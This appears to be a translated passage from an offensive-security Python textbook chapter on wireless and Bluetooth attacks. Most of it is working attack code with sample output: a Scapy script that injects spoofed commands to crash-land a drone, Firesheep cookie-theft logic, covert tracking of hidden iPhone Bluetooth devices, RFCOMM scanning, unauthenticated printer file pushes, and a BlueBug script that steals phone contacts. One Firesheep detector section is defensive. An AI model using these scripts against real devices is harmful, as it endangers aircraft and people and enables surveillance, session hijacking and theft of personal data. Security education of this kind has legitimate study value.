我们建立我们的新的数据包，复制RadioTap, 802.11, SNAP, LLC, IP 和UDP的没一层的协议。注意，我们在每一层里抛弃一些字段，比如，我们不用复制IP地址字段。我们的命令可能包含不同长度的大小，我们可以让Scapy自动的计算生成数据包，同样，对于一些校验值也是一样。有了这些知识在手，我们现在可以继续我们的无人机攻击了。我们将脚本保存为dup.py，因为它复制了太多的802.11数据帧的字段。

**from scapy.all import \***

**def dupRadio(pkt):**

**rPkt=pkt.getlayer(RadioTap)**

**version=rPkt.version**

**pad=rPkt.pad**

**present=rPkt.present**

**notdecoded=rPkt.notdecoded**

**nPkt = RadioTap(version=version, pad=pad, present=present, notdecoded=notdecoded)**

**return nPk**

**def dupDot11(pkt):**

**dPkt=pkt.getlayer(Dot11)**

**subtype=dPkt.subtype**

**Type=dPkt.type**

**proto=dPkt.proto**

**FCfield=dPkt.FCfield**

**ID=dPkt.ID**

**addr1=dPkt.addr1**

**addr2=dPkt.addr2**

**addr3=dPkt.addr3**

**SC=dPkt.SC**

**addr4=dPkt.addr4**

**nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfield,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=addr4)**

**return nPkt**

**def dupSNAP(pkt):**

**sPkt=pkt.getlayer(SNAP)**

**oui=sPkt.OUI**

**code=sPkt.code**

**nPkt=SNAP(OUI=oui,code=code)**

**return nPkt**

**def dupLLC(pkt):**

**lPkt=pkt.getlayer(LLC)**

**dsap=lPkt.dsap**

**ssap=lPkt.ssap**

**ctrl=lPkt.ctrl**

**nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl)**

**return nPkt**

**def dupIP(pkt):**

**iPkt=pkt.getlayer(IP)**

**version=iPkt.version**

**tos=iPkt.tos**

**ID=iPkt.id**

**flags=iPkt.flags**

**ttl=iPkt.ttl**

**proto=iPkt.proto**

**src=iPkt.src**

**dst=iPkt.dst**

**options=iPkt.options**

**nPkt=IP(version=version,id=ID,tos=tos,flags=flags,ttl=ttl,proto=proto,src=src,dst=dst,options=options)**

**return nPkt**

**def dupUDP(pkt):**

**uPkt=pkt.getlayer(UDP)**

**sport=uPkt.sport**

**dport=uPkt.dport**

**nPkt=UDP(sport=sport,dport=dport)**

**return nPkt**

接下来我们将添加一些新的方法到我们interceptThread类中，叫injectCmd()，这个函数复制当前包中的没一层，然后添加新的指令到UDP层。在创建新的数据包之后，它通过sendp()函数发送命令。

**def injectCmd(self, cmd):**

**radio = dup.dupRadio(self.curPkt)**

**dot11 = dup.dupDot11(self.curPkt)**

**snap = dup.dupSNAP(self.curPkt)**

**llc = dup.dupLLC(self.curPkt)**

**ip = dup.dupIP(self.curPkt)**

**udp = dup.dupUDP(self.curPkt)**

**raw = Raw(load=cmd)**

**injectPkt = radio / dot11 / llc / snap / ip / udp / raw**

**sendp(injectPkt)**

紧急降落是控制无人机的一个重要的指令。者控制无人机停止引擎随时掉到地上，为了执行这个命令，我们将使用当前的序列号并跳100。接下来，我们发送命令AT\*COMWDG=$SEQ\r，这个命令重置通讯的序列号，无人机将忽略先前的序命令(比如那些被合法的iPhone发布的命令)。最后，我们发送我们的紧急迫降命令AT\*REF=$SEQ, 290717952\r。

**EMER = "290717952"  
def emergencyland(self):  
 spoofSeq = self.seq + 100  
 watch = 'AT\*COMWDG=%i\r'%spoofSeq  
 toCmd = 'AT\*REF=%i,%s\r'% (spoofSeq + 1, EMER)  
 self.injectCmd(watch)  
 self.injectCmd(toCmd)**

**最终的攻击，紧急迫降无人机**

让我们整合我们的代码并进行最后的攻击。首先，我们确保保存生成我们的数据包脚本并导入dup.py，接下来，我们检查我们的主要功能，开始拦截监听流量发现无人机，并提示我们发送紧急迫降指令。不到70行的代码，我们已经成功的拦截的无人机，好极了！感觉对我们的活动有点内疚。下一节中，我们将着重讨论如何识别在加密无线网络上的恶意活动。

# coding=UTF-8  
**import** threading  
**import** dup  
**from** scapy.all **import** \*  
  
conf.iface = 'mon0'  
NAVPORT = 5556  
LAND = '290717696'  
EMER = '290717952'  
TAKEOFF = '290718208'  
  
**class interceptThread**(threading.Thread):  
 **def** \_\_init\_\_(self):  
 threading.Thread.\_\_init\_\_(self)  
 self.curPkt = None  
 self.seq = 0  
 self.foundUAV = False  
 **def run**(self):  
 sniff(prn=self.interceptPkt, filter='udp port 5556')  
 **def interceptPkt**(self, pkt):  
 **if** self.foundUAV == False:  
 **print**('[\*] UAV Found.')  
 self.foundUAV = True  
 self.curPkt = pkt  
 raw = pkt.sprintf('%Raw.load%')  
 **try**:  
 self.seq = int(raw.split(',')[0].split('=')[-1]) + 5  
 **except**:  
 self.seq = 0  
 EMER = "290717952"  
 **def emergencyland**(self):  
 spoofSeq = self.seq + 100  
 watch = 'AT\*COMWDG=%i\r'%spoofSeq  
 toCmd = 'AT\*REF=%i,%s\r'% (spoofSeq + 1, EMER)  
 self.injectCmd(watch)  
 self.injectCmd(toCmd)  
  
 **def injectCmd**(self, cmd):  
 radio = dup.dupRadio(self.curPkt)  
 dot11 = dup.dupDot11(self.curPkt)  
 snap = dup.dupSNAP(self.curPkt)  
 llc = dup.dupLLC(self.curPkt)  
 ip = dup.dupIP(self.curPkt)  
 udp = dup.dupUDP(self.curPkt)  
 raw = Raw(load=cmd)  
 injectPkt = radio / dot11 / llc / snap / ip / udp / raw  
 sendp(injectPkt)  
 **def takeoff**(self):  
 spoofSeq = self.seq + 100  
 watch = 'AT\*COMWDG=%i\r'%spoofSeq  
 toCmd = 'AT\*REF=%i,%s\r'% (spoofSeq + 1, TAKEOFF)  
 self.injectCmd(watch)  
 self.injectCmd(toCmd)  
  
**def main**():  
 uavIntercept = interceptThread()  
 uavIntercept.start()  
 **print**('[\*] Listening for UAV Traffic. Please WAIT...')  
 **while** uavIntercept.foundUAV == False:  
 **pass  
 while** True:  
 tmp = raw\_input('[-] Press ENTER to Emergency Land UAV.')  
 uavIntercept.emergencyland()  
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

**检测Firesheep**

2010年，Eric Butler开发了一个改变游戏规则的工具，Firesheep。这个工具提供了简单的两个按钮接口用来远程窃取不知情用户的Facebook，Google，Twitter等社交网站上的账户。Eric的Firesheep工具为了得到站点的HTTP Cookies被动的在无线网卡上监听。如果一个用户连接到不安全的网站也没有使用任何服务器控件如HTTPS来保护他的会话，那么攻击者能使用Firesheep拦截cookies并被重用。

Eric提供了一个简单的界面用来建立处理特殊的具体的cookie来捕获重用。注意，下面的对WordPress的处理包含三个函数。首先matchPacket()通过查看正则表达式wordpress\_[0-9a-fA-F]{32}来确认cookie，如果函数匹配到了占则表达式，那么processPacket()抽取WordPress的sessionID cookie，最后identifyUser()函数解析登陆到WordPress的用户名，黑客使用这些信息来登陆用户的WordPress。

**// Authors:**

**// Eric Butler <eric@codebutler.com>**

**register({**

**name: 'Wordpress',**

**matchPacket: function (packet) {**

**for (varcookieName in packet.cookies) {**

**if (cookieName.match0 {**

**return true;**

**}**

**}**

**},**

**processPacket: function () {**

**this.siteUrl += 'wp-admin/';**

**for (varcookieName in this.firstPacket.cookies) {**

**if (cookieName.match(/^wordpress\_[0-9a-fA-F]{32}$/)) {**

**this.sessionId = this.firstPacket.cookies[cookieName];**

**break;**

**}**

**}**

**},**

**identifyUser: function () {**

**var resp = this.httpGet(this.siteUrl);**

**this.userName = resp.body.querySelectorAll('#user\_info a')[0].textContent;**

**this.siteName = 'Wordpress (' + this.firstPacket.host + ')';**

**}**

**});**

**理解WordPress的Session Cookie**

在一个实际的数据包中，这些cookie看起来像下面那些，这里的受害者运行 Safari浏览器连接WordPress在www.violentpython.org。注意，字符串以wordpress\_e3b开始包含了受害者的sessionID cookie和用户名。

**GET /wordpress/wp-admin/HTTP/1.1**

**Host: www.violentpython.org**

**User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_7\_2)**

**AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7**

**Accept: \*/\***

**Referer: http://www.violentpython.org/wordpress/wp-admin/**

**Accept-Language: en-us**

**Accept-Encoding: gzip, deflate**

**Cookie: wordpress\_e3bd8b33fb645122b50046ecbfbeef97=victim%7C1323803979**

**%7C889eb4e57a3d68265f26b166020f161b; wordpress\_logged\_in\_e3bd8b33fb645**

**122b50046ecbfbeef97=victim%7C1323803979%7C3255ef169aa649f771587fd128ef**

**4f57;**

**wordpress\_test\_cookie=WP+Cookie+check**

**Connection: keep-alive**

在下图中，一个攻击者在火狐上运行Firesheep工具，识别出相同的字符串发送到未加密的无线网络上。然后他用抽取的凭证登陆到www.violentpython.og上。注意，HTTP GET请求和我们原来的请求一样，有同样的cookie，但是源自不同的浏览器。虽然他不是描述这里，但是值得注意的是请求来自不同的IP地址，攻击者不能和受害者使用相同的机器。

**GET /wordpress/wp-admin/ HTTP/1.1**

**Host: www.violentpython.org**

**User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US;**

**rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24**

**Accept: text/html,application/xhtml+xml,application/**

**xml;q=0.9,\*/\*;q=0.8**

**Accept-Language: en-us,en;q=0.5**

**Accept-Encoding: gzip,deflate**

**Accept-Charset: ISO-8859-1,utf-8;q=0.7,\*;q=0.7**

**Keep-Alive: 115**

**Connection: keep-alive**

**Cookie: wordpress\_e3bd8b33fb645122b50046ecbfbeef97=victim%7C1323803979**

**%7C889eb4e57a3d68265f26b166020f161b; wordpress\_logged\_in\_e3bd8b33fb645**

**122b50046ecbfbeef97=victim%7C1323803979%7C3255ef169aa649f771587fd128ef4f57; wordpress\_test\_cookie=WP+Cookie+check**

**集结羊群---捕获WordPress cookie重用**

让我们编写一个快速的Python脚本来解析WordPress包含session cookie的HTTP会话。因为这种攻击发生在未加密的会话，我们将过滤通过TCP的80端口的HTTP协议。当我们看到正则表达式匹配WordPress cookie，我们可以打印cookie内容到屏幕上，我们只想看到客户的流量，我们不想打印任何来自客户的包含字符串“set”的cookie。

**import re**

**from scapy.all import \***

**def fireCatcher(pkt):**

**raw = pkt.sprintf('%Raw.load%')**

**r = re.findall('wordpress\_[0-9a-fA-F]{32}', raw)**

**if r and 'Set' not in raw:**

**print(pkt.getlayer(IP).src+ ">"+pkt.getlayer(IP).dst+" Cookie:"+r[0])**

**conf.iface = "mon0"**

**sniff(filter="tcp port 80",prn=fireCatcher)**

运行这个脚本，我们很快识别一些潜在的受害者通过未加密的无线网络连接用标准的HTTP会话连接到WordPress上。当我打印特定的会话cookie到屏幕上时，我么注意到攻击者192.168.1.4重用了来自192.168.1.3的受害者的sessionID cookie。

**defender# python fireCatcher.py**

**192.168.1.3>173.255.226.98**

**Cookie:wordpress\_ e3bd8b33fb645122b50046ecbfbeef97**

**192.168.1.3>173.255.226.98**

**Cookie:wordpress\_e3bd8b33fb645122b50046ecbfbeef97**

**192.168.1.4>173.255.226.98**

为了检测攻击者使用Firesheep，我们必须看看是否一个攻击者在不同的IP上重用cookie值。为此，我们必须修改我们先前的脚本。现在我们要建立一个Hash表通过sessionID索引cookie。如果我们看到一个WordPress会话，我们可以将值插入到Hash表并存储IP地址。如果我们再一次看到，我们可以比较检验它的值是否和Hash表相冲突。当我们检测到冲突时，我们现在有相同的cookie关联了两个相同的IP地址。在这一点上，我们可以检测到某人试图偷取WorPress的会话并打印在屏幕上。

# coding=UTF-8  
\_\_author\_\_ = 'dj'  
**import** optparse  
**from** scapy.all **import** \*  
**import** re  
  
cookieTable = {}  
  
**def fireCatcher**(pkt):  
 raw = pkt.sprintf('%Raw.load%')  
 r = re.findall('wordpress\_[0-9a-fA-F]{32}', raw)  
 **if** r **and** 'Set' **not in** raw:  
 **if** r[0] **not in** cookieTable.keys():  
 cookieTable[r[0]] = pkt.getlayer(IP).src  
 **print**('[+] Detected and indexed cookie.')  
 **elif** cookieTable[r[0]] != pkt.getlayer(IP).src:  
 **print**('[\*] Detected Conflict for ' + r[0])  
 **print**('Victim = ' + cookieTable[r[0]])  
 **print**('Attacker = ' + pkt.getlayer(IP).src)  
  
**def main**():  
 parser = optparse.OptionParser("usage %prog -i<interface>")  
 parser.add\_option('-i', dest='interface', type='string', help='specify interface to listen on')  
 (options, args) = parser.parse\_args()  
 **if** options.interface == None:  
 **print** parser.usage  
 exit(0)  
 **else**:  
 **try**:  
 conf.iface = options.interface  
 sniff(filter='tcp port 80', prn=fireCatcher)  
 **except** KeyboardInterrupt:  
 exit(0)  
  
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

运行我们的脚本，我们可以确认一个重用来自受害者的WordPress sessionID cookie的黑客正在尝试盗取某人的会话。在这一点上我们已经掌握了用Python嗅探802.11的无线网络。让我们在下一节探究如何用Python攻击蓝牙设备。

**defender# python fireCatcher.py**

**[+] Detected and indexed cookie.**

**[\*] Detected Conflict for:**

**wordpress\_ e3bd8b33fb645122b50046ecbfbeef97**

**Victim = 192.168.1.3**

**Attacker = 192.168.1.4**

**用蓝牙和Python跟踪潜入**

研究生的研究有时候是一个艰巨的任务。一个巨大任务的研究需要团队的合作，我发现知道团队人员的位置非常有用。我的研究生的研究围绕着蓝牙协议，它似乎也是保持我团队成员位置的很好的方法。

为了和蓝牙交互，我们要用到PyBluez模块。这个模块扩展了Bluez库提供的利用蓝牙资源的功能。注意，导入我们的蓝牙库后，我们可以简单的利用函数discover\_devices()来返回附近发现的蓝牙设备的MAC地址数组。接下来，我们可以换算MAC地址为友好的字符串设备名通过lookup\_name()函数。最后我们能打印这些收集设备。

**from bluetooth import \***

**devList = discover\_devices()**

**for device in devList:**

**name = str(lookup\_name(device))**

**print("[+] Found Bluetooth Device " + str(name))**

**print("[+] MAC address: "+str(device))**

让我们继续探究。为此，我们我们将这段代码封装为函数findDevs，并打印我们发现的新设备。我们可以用一个数组alreadyFound来保存已经发现的设备，对于每个发现的设备我们将检查是否已经存在与数组中。如果不存在我们将打印设备名和地址并添加到数组中，在我们的主要的代码中，我们可以创建一个无限循环运行findDevs()然后睡眠5秒。

**import time**

**from bluetooth import \***

**alreadyFound = []**

**def findDevs():**

**foundDevs = discover\_devices(lookup\_names=True)**

**for (addr, name) in foundDevs:**

**if addr not in alreadyFound:**

**print('[\*] Found Bluetooth Device: ' + str(name))**

**print('[+] MAC address: ' + str(addr))**

**alreadyFound.append(addr)**

**while True:**

**findDevs()**

**time.sleep(5)**

现在我们运行我们的脚本看看是否能发现附近任何的蓝牙设备。注意，我们发现了一个打印机和一个iPhone。打印输出显示友好的名称并跟着MAC地址。

**attacker# python btScan.py**

**[-] Scanning for Bluetooth Devices.**

**[\*] Found Bluetooth Device: Photosmart 8000 series**

**[+] MAC address: 00:16:38:DE:AD:11**

**[-] Scanning for Bluetooth Devices.**

**[-] Scanning for Bluetooth Devices.**

**[\*] Found Bluetooth Device: TJ iPhone**

**[+] MAC address: D0:23:DB:DE:AD:02**

我们可以写一个简单的函数来提醒我们这些特定的设备在我们附近。请注意，我们将改变我们的原始函数增加参数tgtName，搜索我们的发现列表发现特定设备。

**import time**

**from bluetooth import \***

**alreadyFound = []**

**def findDevs():**

**foundDevs = discover\_devices(lookup\_names=True)**

**for (addr, name) in foundDevs:**

**if addr not in alreadyFound:**

**print('[\*] Found Bluetooth Device: ' + str(name))**

**print('[+] MAC address: ' + str(addr))**

**alreadyFound.append(addr)**

**while True:**

**findDevs()**

**time.sleep(5)**

在这一点上，我们有一个改装的工具提醒我们，有一个特定的设备，比如说iPhone，进来了。

**attacker# python btFind.py**

**[-] Scanning for Bluetooth Device: TJ iPhone**

**[\*] Found Target Device TJ iPhone**

**[+] Time is: 2012-06-24 18:05:49.560055**

**[+] With MAC Address: D0:23:DB:DE:AD:02**

**[+] Time is: 2012-06-24 18:06:05.829156**

**拦截无线流量找到蓝牙地址**

然而，这只是解决了一般的问题，我们的脚本只能发现设置为可见的蓝牙设备。一个隐藏的蓝牙设备我们怎么发现它？让我们考虑一下隐藏模式下iPhone蓝牙设备的欺骗性。加1到802.11无线设备的MAC地址来确认iPhone的蓝牙设备的MAC地址。作为802.11无线设备电台的服务没有在第二层控制保护MAC地址，我们可以简单的嗅探它并使用这些信息计算南蓝牙设备的MAC地址。

让我们设置我们的无线设备MAC地址嗅探器。注意我们过滤MAC地址只包含MAC八个字节的前三个字节。前三个字节作为组织唯一标识符(OUI)，标识特定的制造商，你可以在http://standards.ieee.org/cgi-bin/ouisearch网站进一步探讨OUI数据库。比如说我们使用OUI d0:23:db(iPhone 4S的OUI)，如果你搜索OUI数据库，你能确认该设备属于iPhone。

**D0-23-DB (hex) Apple, Inc.**

**D023DB (base 16) Apple, Inc.**

**1 Infinite Loop**

**Cupertino CA 95014**

**UNITED STATES**

我们的Python脚本监听802.11数据帧匹配iPhone 4S的MAC地址的前三个字节。如果检测到，它将打印结果在屏幕上并存储802.11的MAC地址。

**from scapy.all import \***

**def wifiPrint(pkt):**

**iPhone\_OUI = 'd0:23:db'**

**if pkt.haslayer(Dot11):**

**wifiMAC = pkt.getlayer(Dot11).addr2**

**if iPhone\_OUI == wifiMAC[:8]:**

**print('[\*] Detected iPhone MAC: ' + wifiMAC)**

**conf.iface = 'mon0'**

**sniff(prn=wifiPrint)**

现在我们已经确认了iPhone的802.11无线设备的MAC地址，我们需要构建蓝牙设备的无线设备。我们可以计算蓝牙MAC地址通过802.11无线地址加1。

**def retBtAddr(addr):**

**btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:]**

**btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":" + btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12]**

**return btAddr**

有了MAC地址，攻击者就可以执行设备名查询这个设备是否真实的存在。即时在隐藏模式下，蓝牙设备任然对名字查询有响应。如果蓝牙设备响应，我们可以打印设备名和MAC地址子屏幕上。有一点需要注意，iPhone设备采用的省电模式，在蓝牙不匹配或者没使用时禁用蓝牙设备。然而，当iPhone配上耳机或者车载免提时在隐藏模式下还是会响应设备名查询的。如果你测试时，脚本似乎不能正确的工作时，试着把你的iPhone和其他设备连在一起。

**def checkBluetooth(btAddr):**

**btName = lookup\_name(btAddr)**

**if btName:**

**print('[+] Detected Bluetooth Device: ' + btName)**

**else:**

**print('[-] Failed to Detect Bluetooth Device.')**

当我们把所有的代码放在一起时，我们有能力识别iPhone设备隐藏的蓝牙。

# coding=UTF-8  
**from** scapy.all **import** \*  
**from** bluetooth **import** \*  
  
**def retBtAddr**(addr):  
 btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:]  
 btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":" + btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12]  
 **return** btAddr  
  
**def checkBluetooth**(btAddr):  
 btName = lookup\_name(btAddr)  
 **if** btName:  
 **print**('[+] Detected Bluetooth Device: ' + btName)  
 **else**:  
 **print**('[-] Failed to Detect Bluetooth Device.')  
  
**def wifiPrint**(pkt):  
 iPhone\_OUI = 'd0:23:db'  
 **if** pkt.haslayer(Dot11):  
 wifiMAC = pkt.getlayer(Dot11).addr2  
 **if** iPhone\_OUI == wifiMAC[:8]:  
 **print**('[\*] Detected iPhone MAC: ' + wifiMAC)  
 btAddr = retBtAddr(wifiMAC)  
 **print**('[+] Testing Bluetooth MAC: ' + btAddr)  
 checkBluetooth(btAddr)  
  
conf.iface = 'mon0'  
sniff(prn=wifiPrint)

当我们运行我们的脚本时，我们可以看到，它识别了一个iPhone的802.11无线设备的MAC地址。和它的无线设备。在下一节中，我们将挖掘更深的设备信息，通过扫描各种有关蓝牙的协议和端口。

**attacker# python find-my-iphone.py**

**[\*] Detected iPhone MAC: d0:23:db:de:ad:01**

**[+] Testing Bluetooth MAC: d0:23:db:de:ad:02**

**[+] Detected Bluetooth Device: TJ’s iPhone**

**扫描蓝牙的RFCOMM信道**

2004年，Herfurt和Laurie展示了一个蓝牙漏洞，他们成为BlueBug。这个漏洞针对蓝牙的RFCOMM传输协议。RFCOMM通过蓝牙的L2CAP协议模拟RS232串口通讯。本质上，这将创建一个蓝牙连接到一个设备，模拟一个简单的串行电缆，允许用户发起电话呼叫，发送短信，阅读通讯录列表转接电话或者通过蓝牙连接到互联网。

RFCOMM提供验证和加密连接的能力。制造商偶尔忽略此功能允许未经认证连接到此设备。Herfurt和Laurie编写了一个工具能连接到未认证的设备信道发送命令控制或者下载设备上的内容。在这节中，我们将编写一个扫瞄器确认未认证的的RFCOMM信道。

看看下面的代码，RFCOMM连接和标准的TCP套接字连接非常的相似。为了连接到一个RFCOMM端口，我们将生成一个RFCOMM类型的蓝牙套接字。接下来我们通过connect()函数，包含目标设备的MAC地址和端口的一个元组。如果我们成功了，我们会知道RFRCOMM信道开放并正在监听。如果函数抛出异常，我们知道我们不能连接到这个端口，我们将重复尝试30个可能的RFCOMM端口进行连接。

**from bluetooth import \***

**def rfcommCon(addr, port):**

**sock = BluetoothSocket(RFCOMM)**

**try:**

**sock.connect((addr, port))**

**print('[+] RFCOMM Port ' + str(port) + ' open')**

**sock.close()**

**except Exception as e:**

**print('[-] RFCOMM Port ' + str(port) + ' closed')**

**for port in range(1, 30):**

**rfcommCon('00:16:38:DE:AD:11', port)**

当我们运行我们的脚本针对附近的打印机，我们看到开放了五个RFCOMM端口。然而，我们没有真正了解这些端口提供了的什么服务。为了了解更多关于这些服务，我们需要使用蓝牙服务发现功能。

**attacker# python rfcommScan.py**

**[+] RFCOMM Port 1 open**

**[+] RFCOMM Port 2 open**

**[+] RFCOMM Port 3 open**

**[+] RFCOMM Port 4 open**

**[+] RFCOMM Port 5 open**

**[-] RFCOMM Port 6 closed**

**[-] RFCOMM Port 7 closed**

**<..SNIPPED...>**

**使用蓝牙服务发现协议**

蓝牙服务发现协议(SDP)提供了一种简单的方法来来描述和枚举设备提供的蓝牙功能和服务。浏览SDP文件描述了服务在每一个独一无二的蓝牙协议和端口上运行。使用函数find\_service()返回了一个记录数组，这些记录包含主机，名称，描述，供应商，协议，端口，服务类，介绍和每个目标蓝牙每一个可用服务的ID，就我们的目的而言，我们的脚本只打印服务名称，协议和端口号。

**from bluetooth import \***

**def sdpBrowse(addr):**

**services = find\_service(address=addr)**

**for service in services:**

**name = service['name']**

**proto = service['protocol']**

**port = str(service['port'])**

**print('[+] Found ' + str(name)+' on '+ str(proto) + ':'+port)**

**sdpBrowse('00:16:38:DE:AD:11')**

当我们运行我们的脚本针对我们的打印机蓝牙，我们看到RFCOMM端口2提供OBEX对象推送功能。对象交换服务(OBEX)让我们有类似与FTP匿名登陆的的能力，我们可以匿名的上传和下载文件从系统里面，这可能是打印机上值得进一步研究的东西。

**attacker# python sdpScan.py**

**[+] Found Serial Port on RFCOMM:1**

**[+] Found OBEX Object Push on RFCOMM:2**

**[+] Found Basic Imaging on RFCOMM:3**

**[+] Found Basic Printing on RFCOMM:4**

**[+] Found Hardcopy Cable Replacement on L2CAP:8193**

**用Python ObexFTP接管打印机**

让我们继续对打印机进行攻击。因为它在RFCOMM的端口2上提供了OBEX服务，让我们尝试推送一个照片上去。我们使用obexftp连接打印机，接着我们从攻击者的主机上发送一个图片给它。当文件传输成功，我们的打印机开始为我们打印图像。这太令人兴奋了！但不一定是危险的，所以我们将继续在下一节中使用这种方法对提供蓝牙的手机实施更致命的攻击。

**import obexftp**

**try:**

**btPrinter = obexftp.client(obexftp.BLUETOOTH)**

**btPrinter.connect('00:16:38:DE:AD:11', 2)**

**btPrinter.put\_file('/tmp/ninja.jpg')**

**print('[+] Printed Ninja Image.')**

**except:**

**print('[-] Failed to print Ninja Image.')**

**用Python BlueBug手机**

在本节中，我们将重现一个最近的手机蓝牙攻击向量。最初被称为BlueBug攻击，该攻击使用未认证的和不安全的连接手机偷取手机的详细信息或者直接向手机发送指令。这个攻击使用RFCOMM信道发送AT命令作为远程控制设备的工具。者允许攻击者读写短信，收集个人信息或者拨打号码。

例如，攻击者可以控制一个诺基亚6310i通过RFCOMM的17信道。在以前这这手机的固件版本，RFCOMM信道17不需要身份验证便可连接，攻击者可以简单的扫描RFCOMM打开的信道发现17信道，连接并且发送AT命令下载电话号。

让我们用Python来重现这次攻击。再一次，我们需要导入Python的BluezAPI模块。确认我们的目标地址和脆弱的RFCOMM端口之后，我们创建一个到开放，未经验证，未加密的连接。使用这个新创建的连接，我们发送一个命令，例如“AT+CPBR=1”来下载通讯录的第一个号码，重复次命令偷取全部的通讯录。

**import bluetooth**

**tgtPhone = 'AA:BB:CC:DD:EE:FF'**

**port = 17**

**phoneSock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)**

**phoneSock.connect((tgtPhone, port))**

**for contact in range(1, 5):**

**atCmd = 'AT+CPBR=' + str(contact) + '\n'**

**phoneSock.send(atCmd)**

**result = phoneSock.recv(1024)**

**print '[+] ' + str(contact) + ': ' + result**

**phoneSock.close()**

针对脆弱的手机运行我们的脚本，我们可以从受害者手机上下载五个联系人的电话号码。不到五十行的代码，我们可以通过蓝牙远程窃取通讯录电话号码。棒极了！

**attacker# python bluebug.py**

**[+] 1: +CPBR: 1,"555-1234",,"Joe Senz"**

**[+] 2: +CPBR: 2,"555-9999",,"Jason Brown"**

**[+] 3: +CPBR: 3,"555-7337",,"Glen Godwin"**

**[+] 4: +CPBR: 4,"555-1111",,"Semion Mogilevich"**

**[+] 5: +CPBR: 5,"555-8080",,"Robert Fisher**

**本章总结**

恭喜你！在这一章我们已经编写了很多工具，我们可以用它们来设计无线网络和蓝牙设备。我们从通过无线网络截获私人信息开始。接下来，我们研究如何分析802.11无线流量，为了发现首选网络和隐藏的接入点。然后，我们紧急迫降了一个无人机并建立了一个工具识别无线网络黑客工具。对于蓝牙协议，我们我们建立了一个工具来查找蓝牙设备，扫描并渗透攻击了打印机和手机。

希望你喜欢这一章。我喜欢编写这些。下一章，我们将讨论在开源的网络社交媒体上使用Python进行侦查。